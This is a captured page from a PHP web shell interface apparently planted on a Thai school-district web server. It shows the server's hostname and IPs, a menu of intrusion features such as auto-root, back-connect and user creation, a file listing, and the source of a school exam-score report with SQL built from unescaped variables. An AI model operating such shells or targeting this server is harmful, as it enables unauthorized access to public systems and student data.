Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
warroom /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
building_show.php
4.58
KB
-rw-r--r--
livesearch1.php
787
B
-rw-r--r--
livesearch_202.php
5.82
KB
-rw-r--r--
livesearch_2021.php
4.86
KB
-rw-r--r--
livesearch_204.php
11.9
KB
-rw-r--r--
livesearch_2041.php
9.97
KB
-rw-r--r--
livesearch_2044.php
11.8
KB
-rw-r--r--
livesearch_20441.php
9.83
KB
-rw-r--r--
livesearch_206.php
11.79
KB
-rw-r--r--
livesearch_2061.php
9.79
KB
-rw-r--r--
livesearch_301.php
3.16
KB
-rw-r--r--
livesearch_302.php
3.36
KB
-rw-r--r--
livesearch_ach.php
7.15
KB
-rw-r--r--
livesearch_ach_2.php
7.85
KB
-rw-r--r--
livesearch_allperson.php
1.59
KB
-rw-r--r--
livesearch_amphoe_school.php
1.53
KB
-rw-r--r--
livesearch_budget.php
10.99
KB
-rw-r--r--
livesearch_building.php
3.14
KB
-rw-r--r--
livesearch_chart2.php
625
B
-rw-r--r--
livesearch_chart3.php
872
B
-rw-r--r--
livesearch_chart3_2.php
987
B
-rw-r--r--
livesearch_chart3_3.php
1.37
KB
-rw-r--r--
livesearch_chart3_4.php
847
B
-rw-r--r--
livesearch_chart3_5.php
883
B
-rw-r--r--
livesearch_chart3_6.php
879
B
-rw-r--r--
livesearch_chart3_7.php
922
B
-rw-r--r--
livesearch_chart4.php
607
B
-rw-r--r--
livesearch_chart4_2.php
1.05
KB
-rw-r--r--
livesearch_computer.php
4.46
KB
-rw-r--r--
livesearch_g_ach_2.php
8.67
KB
-rw-r--r--
livesearch_health1.php
9.7
KB
-rw-r--r--
livesearch_health2.php
8.81
KB
-rw-r--r--
livesearch_khetopportunity.php
3.74
KB
-rw-r--r--
livesearch_khetopportunity2.ph...
3.8
KB
-rw-r--r--
livesearch_khetopportunity3.ph...
3.74
KB
-rw-r--r--
livesearch_khetperson.php
1.44
KB
-rw-r--r--
livesearch_nt.php
2.68
KB
-rw-r--r--
livesearch_nt2.php
3.05
KB
-rw-r--r--
livesearch_nt3.php
5.26
KB
-rw-r--r--
livesearch_opportunity.php
8
KB
-rw-r--r--
livesearch_opportunity2.php
8
KB
-rw-r--r--
livesearch_opportunity3.php
8.01
KB
-rw-r--r--
livesearch_plan.php
4.3
KB
-rw-r--r--
livesearch_plc.php
5.71
KB
-rw-r--r--
livesearch_plc2.php
3.15
KB
-rw-r--r--
livesearch_read.php
7.91
KB
-rw-r--r--
livesearch_sch_person.php
1.51
KB
-rw-r--r--
livesearch_school.php
2.19
KB
-rw-r--r--
livesearch_school_group.php
2.64
KB
-rw-r--r--
livesearch_school_group2.php
2.3
KB
-rw-r--r--
livesearch_small_school.php
1.95
KB
-rw-r--r--
livesearch_smss_std.php
5.28
KB
-rw-r--r--
livesearch_std.php
11.24
KB
-rw-r--r--
livesearch_std2.php
11.05
KB
-rw-r--r--
livesearch_std3.php
7.02
KB
-rw-r--r--
livesearch_std4.php
6.91
KB
-rw-r--r--
livesearch_std_check.php
3.31
KB
-rw-r--r--
livesearch_std_check2.php
3.28
KB
-rw-r--r--
livesearch_student.php
3.96
KB
-rw-r--r--
livesearch_student2.php
4.17
KB
-rw-r--r--
livesearch_student3.php
10.44
KB
-rw-r--r--
livesearch_student_list.php
5.22
KB
-rw-r--r--
livesearch_supervision.php
13.24
KB
-rw-r--r--
permission.php
11.13
KB
-rw-r--r--
school_report_1.php
52.88
KB
-rw-r--r--
school_report_2.php
36.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : livesearch_g_ach_2.php
<?php session_start(); if(!(isset($_SESSION['login_user_id']))){ exit(); } require_once("../../../amssplus_connect.php"); require_once("../../../mainfile.php"); if($_SESSION['user_os'] =="mobile"){ $width_1="97%"; } else{ $width_1="70%"; } $class_ar[1]="ชั้นประถมศึกษาปีที่ 1"; $class_ar[2]="ชั้นประถมศึกษาปีที่ 2"; $class_ar[3]="ชั้นประถมศึกษาปีที่ 3"; $class_ar[4]="ชั้นประถมศึกษาปีที่ 4"; $class_ar[5]="ชั้นประถมศึกษาปีที่ 5"; $class_ar[6]="ชั้นประถมศึกษาปีที่ 6"; $class_ar[7]="ชั้นมัธยมศึกษาปีที่ 1"; $class_ar[8]="ชั้นมัธยมศึกษาปีที่ 2"; $class_ar[9]="ชั้นมัธยมศึกษาปีที่ 3"; $class_ar[10]="ชั้นมัธยมศึกษาปีที่ 4"; $class_ar[11]="ชั้นมัธยมศึกษาปีที่ 5"; $class_ar[12]="ชั้นมัธยมศึกษาปีที่ 6"; $sql = "select distinct test_class from achievement_main where test_type='1' order by test_class"; $qury = mysqli_query($connect,$sql); While ($result=mysqli_fetch_array($qury)){ $class_index=$result['test_class']; $sql = "select distinct ed_year from achievement_main where test_type='1' and test_class='$class_index' order by ed_year desc limit 1"; $dbquery = mysqli_query($connect,$sql); $result_year = mysqli_fetch_array($dbquery); $ed_year=$result_year['ed_year']; echo "<br>"; echo "<Table width='$width_1' Border='0'>"; echo "<Tr><Td align='center'><b>ผลสอบ O-NET $class_ar[$class_index] ปีการศึกษา $ed_year</b></Td></Tr>"; echo "</table>"; $sql_group = "select * from system_school_group order by code"; $dbquery_group = mysqli_query($connect,$sql_group); $group_no=1; While ($result_group = mysqli_fetch_array($dbquery_group)){ $group_code=$result_group['code']; $group_name=$result_group['name']; echo "<Table width='$width_1' Border='0'>"; echo "<Tr><Td align='left'><b>$group_no กลุ่ม$group_name</b></Td></Tr>"; echo "</table>"; echo "<Table width='$width_1' border='1' align='center' style='border-collapse: collapse'>"; echo "<Tr bgcolor='#CED8F6'><Td align='center' width='50'>ที่</Td><Td align='center' width='170'>โรงเรียน</Td><Td align='center'>ภาษาไทย</Td><td align='center' >คณิตศาสตร์</td><Td align='center'>วิทยาศาสตร์</Td><Td align='center'>ภาษาอังกฤษ</Td><Td align='center'>เฉลี่ย</Td><Td align='center' width='170'>ผลการประเมิน</Td></Tr>"; $sql = "select * from system_school where school_group='$group_code' order by school_code "; $dbquery = mysqli_query($connect,$sql); $M=1; $M_thai=0; $M_math=0; $M_science=0; $M_social=0; $M_english=0; $M_health=0; $M_art=0; $M_vocation=0; $M_avg=0; $thai_g=0; $math_g=0; $science_g=0; $social_g=0; $english_g=0; $health_g=0; $art_g=0; $vocation_g=0; $score_avg_g=0; While ($result_1 = mysqli_fetch_array($dbquery)){ $strQuery = "select thai, math, science, social, english, health, art, vocation, score_avg from achievement_main where test_type='1' and test_class='$class_index' and ed_year='$ed_year' and school='$result_1[school_code]' "; $result = mysqli_query($connect,$strQuery); $ors = mysqli_fetch_array($result); if(($M%2) == 0) $color="#CCCCCC"; else $color="#FFFFFF"; $thai_g= $thai_g+$ors['thai']; $math_g=$math_g+$ors['math']; $science_g= $science_g+$ors['science']; $social_g= $social_g+$ors['social']; $english_g=$english_g+$ors['english']; $health_g= $health_g+$ors['health']; $art_g=$art_g+$ors['art']; $vocation_g=$vocation_g+$ors['vocation']; $score_avg_g= $score_avg_g+$ors['score_avg']; $thai=number_format($ors['thai'],2); $math=number_format($ors['math'],2); $science=number_format($ors['science'],2); $social=number_format($ors['social'],2); $english=number_format($ors['english'],2); $health=number_format($ors['health'],2); $art=number_format($ors['art'],2); $vocation=number_format($ors['vocation'],2); $score_avg=number_format($ors['score_avg'],2); if($thai=="0.00"){ $thai=""; } if($math=="0.00"){ $math=""; } if($science=="0.00"){ $science=""; } if($social=="0.00"){ $social=""; } if($english=="0.00"){ $english=""; } if($health=="0.00"){ $health=""; } if($art=="0.00"){ $art=""; } if($vocation=="0.00"){ $vocation=""; } if($score_avg>0){ echo "<Tr bgcolor=$color><Td align='center' >$M</Td><Td align='left' >$result_1[school_name]</Td><Td align='center'>$thai</Td><td align='center' >$math</td><Td align='center'>$science</Td><Td align='center'>$english</Td><Td align='center' >$score_avg</Td><Td align='left' >"; //คะแนนจุดตัด $a=50; $b=30; $color[2]="#00CC00"; echo "<table border='0' cellspacing='0' cellpadding='0'>"; echo "<tr><td></td>"; $score_ceil=$score_avg/2; if($score_ceil>50){ $score_ceil=0; //error } for($j=0;$j<=$score_ceil;$j++){ if ($j<=($b/2)){ $cl='#FF0000'; } else if (($j>($b/2)) and ($j<($a/2))){ $cl='#FFFF00'; } else if ($j>=($a/2)){ $cl='#00CC00'; } echo "<td bgcolor='$cl' width='1' > </td>"; } echo "</tr>"; echo "</table>"; echo "</Td></Tr>"; $M++; if($ors['thai']!=0){ $M_thai++; } if($ors['math']!=0){ $M_math++; } if($ors['science']!=0){ $M_science++; } if($ors['social']!=0){ $M_social++; } if($ors['english']!=0){ $M_english++; } if($ors['health']!=0){ $M_health++; } if($ors['art']!=0){ $M_art++; } if($ors['vocation']!=0){ $M_vocation++; } if($ors['score_avg']!=0){ $M_avg++; } } } if($M_thai!=0){ $thai_g= $thai_g/$M_thai; } if($M_math!=0){ $math_g=$math_g/$M_math; } if($M_science!=0){ $science_g= $science_g/$M_science; } if($M_social!=0){ $social_g= $social_g/$M_social; } if($M_english!=0){ $english_g=$english_g/$M_english; } if($M_health!=0){ $health_g= $health_g/$M_health; } if($M_art!=0){ $art_g=$art_g/$M_art; } if($M_vocation!=0){ $vocation_g=$vocation_g/$M_vocation; } if($M_avg!=0){ $score_avg_g= $score_avg_g/$M_avg; } $thai_g=number_format($thai_g,2); $math_g=number_format($math_g,2); $science_g=number_format($science_g,2); $social_g=number_format($social_g,2); $english_g=number_format($english_g,2); $health_g= number_format($health_g,2); $art_g=number_format($art_g,2); $vocation_g=number_format($vocation_g,2); $score_avg_g= number_format($score_avg_g,2); if($thai_g=="0.00"){ $thai_g=""; } if($math_g=="0.00"){ $math_g=""; } if($science_g=="0.00"){ $science_g=""; } if($social_g=="0.00"){ $social_g=""; } if($english_g=="0.00"){ $english_g=""; } if($health_g=="0.00"){ $health_g=""; } if($art_g=="0.00"){ $art_g=""; } if($vocation_g=="0.00"){ $vocation_g=""; } if($score_avg_g>0){ echo "<Tr bgcolor='#FFFFCC'><td></td><td align='center'>เฉลี่ยกลุ่ม</td><Td align='center'>$thai_g</Td><td align='center'>$math_g</td><Td align='center'>$science_g</Td><Td align='center'>$english_g</Td><Td align='center' >$score_avg_g</Td><Td align='left'>"; echo "<table border='0' cellspacing='0' cellpadding='0'>"; echo "<tr><td></td>"; $score_ceil=$score_avg_g/2; if($score_ceil>50){ $score_ceil=0; //error } for($j=0;$j<=$score_ceil;$j++){ if ($j<=($b/2)){ $cl='#FF0000'; } else if (($j>($b/2)) and ($j<($a/2))){ $cl='#FFFF00'; } else if ($j>=($a/2)){ $cl='#00CC00'; } echo "<td bgcolor='$cl' width='1' > </td>"; } echo "</tr>"; echo "</table>"; echo "</td></tr>"; } echo "</Table>"; echo "<br>"; $group_no++; } //group } // loop ชั้น echo "<div align='center'><b>หมายเหตุ</b> ค่าเฉลี่ยกลุ่มเป็นแบบไม่ถ่วงน้ำหนักด้วยจำนวนนักเรียน</div>"; echo "<br>"; ?>
Close